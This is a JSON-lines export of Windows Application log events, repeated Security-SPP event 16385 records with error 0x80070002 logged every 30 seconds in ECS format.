{"@timestamp":1659008425074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172264}}
{"@timestamp":1659008455081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172265}}
{"@timestamp":1659008485088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172266}}
{"@timestamp":1659008515095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172267}}
{"@timestamp":1659008545101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172268}}
{"@timestamp":1659008575108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172269}}
{"@timestamp":1659008605114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172270}}
{"@timestamp":1659008635122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172271}}
{"@timestamp":1659008665129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172272}}
{"@timestamp":1659008695135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172273}}
{"@timestamp":1659008725141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172274}}
{"@timestamp":1659008755147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172275}}
{"@timestamp":1659008785154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172276}}
{"@timestamp":1659008815160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172277}}
{"@timestamp":1659008845166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172278}}
{"@timestamp":1659008875173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172279}}
{"@timestamp":1659008905180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172280}}
{"@timestamp":1659008935186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172281}}
{"@timestamp":1659008965192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172282}}
{"@timestamp":1659008995199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172283}}
{"@timestamp":1659009025206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172284}}
{"@timestamp":1659009055213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172285}}
{"@timestamp":1659009085220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172286}}
{"@timestamp":1659009115226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172287}}
{"@timestamp":1659009145232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172288}}
{"@timestamp":1659009175241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172289}}
{"@timestamp":1659009205249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172290}}
{"@timestamp":1659009235257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172291}}
{"@timestamp":1659009265264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172292}}
{"@timestamp":1659009295272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172293}}
{"@timestamp":1659009325278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172294}}
{"@timestamp":1659009355285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172295}}
{"@timestamp":1659009385291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172296}}
{"@timestamp":1659009415297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172297}}
{"@timestamp":1659009445304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172298}}
{"@timestamp":1659009475310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172299}}
{"@timestamp":1659009505317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172300}}
{"@timestamp":1659009535325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172301}}
{"@timestamp":1659009565331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172302}}
{"@timestamp":1659009595338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172303}}
{"@timestamp":1659009625345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172304}}
{"@timestamp":1659009655352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172305}}
{"@timestamp":1659009685358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172306}}
{"@timestamp":1659009715365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172307}}
{"@timestamp":1659009745372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172308}}
{"@timestamp":1659009775378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172309}}
{"@timestamp":1659009805384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172310}}
{"@timestamp":1659009835390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172311}}
{"@timestamp":1659009865396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172312}}
{"@timestamp":1659009895403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172313}}
{"@timestamp":1659009925410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172314}}
{"@timestamp":1659009955415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172315}}
{"@timestamp":1659009985421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172316}}
{"@timestamp":1659010015426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172317}}
{"@timestamp":1659010045432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172318}}
{"@timestamp":1659010075439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172319}}
{"@timestamp":1659010105445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172320}}
{"@timestamp":1659010135453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172321}}
{"@timestamp":1659010165459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172322}}
{"@timestamp":1659010195465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172323}}
{"@timestamp":1659010225470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172324}}
{"@timestamp":1659010255477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172325}}
{"@timestamp":1659010285484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172326}}
{"@timestamp":1659010315492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172327}}
{"@timestamp":1659010345497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172328}}
{"@timestamp":1659010375505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172329}}
{"@timestamp":1659010405511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172330}}
{"@timestamp":1659010435519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172331}}
{"@timestamp":1659010465525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172332}}
{"@timestamp":1659010495533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172333}}
{"@timestamp":1659010525538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172334}}
{"@timestamp":1659010555545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172335}}
{"@timestamp":1659010585551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172336}}
{"@timestamp":1659010615558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172337}}
{"@timestamp":1659010645564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172338}}
{"@timestamp":1659010675570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172339}}
{"@timestamp":1659010705578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172340}}
{"@timestamp":1659010735585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172341}}
{"@timestamp":1659010765592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172342}}
{"@timestamp":1659010795599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172343}}
{"@timestamp":1659010825605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172344}}
{"@timestamp":1659010855614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172345}}
{"@timestamp":1659010885620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172346}}
{"@timestamp":1659010915627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172347}}
{"@timestamp":1659010945635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172348}}
{"@timestamp":1659010975642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172349}}
{"@timestamp":1659011005649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172350}}
{"@timestamp":1659011035657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172351}}
{"@timestamp":1659011065665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172352}}
{"@timestamp":1659011095671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172353}}
{"@timestamp":1659011125678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172354}}
{"@timestamp":1659011155686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172355}}
{"@timestamp":1659011185693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172356}}
{"@timestamp":1659011215700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172357}}
{"@timestamp":1659011245707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172358}}
{"@timestamp":1659011275714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172359}}
{"@timestamp":1659011305721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172360}}
{"@timestamp":1659011335727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172361}}
{"@timestamp":1659011365734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172362}}
{"@timestamp":1659011395740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172363}}
{"@timestamp":1659011425746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172364}}
{"@timestamp":1659011455754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172365}}
{"@timestamp":1659011485761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172366}}
{"@timestamp":1659011515767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172367}}
{"@timestamp":1659011545774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172368}}
{"@timestamp":1659011575782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172369}}
{"@timestamp":1659011605788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172370}}
{"@timestamp":1659011635794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172371}}
{"@timestamp":1659011665800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172372}}
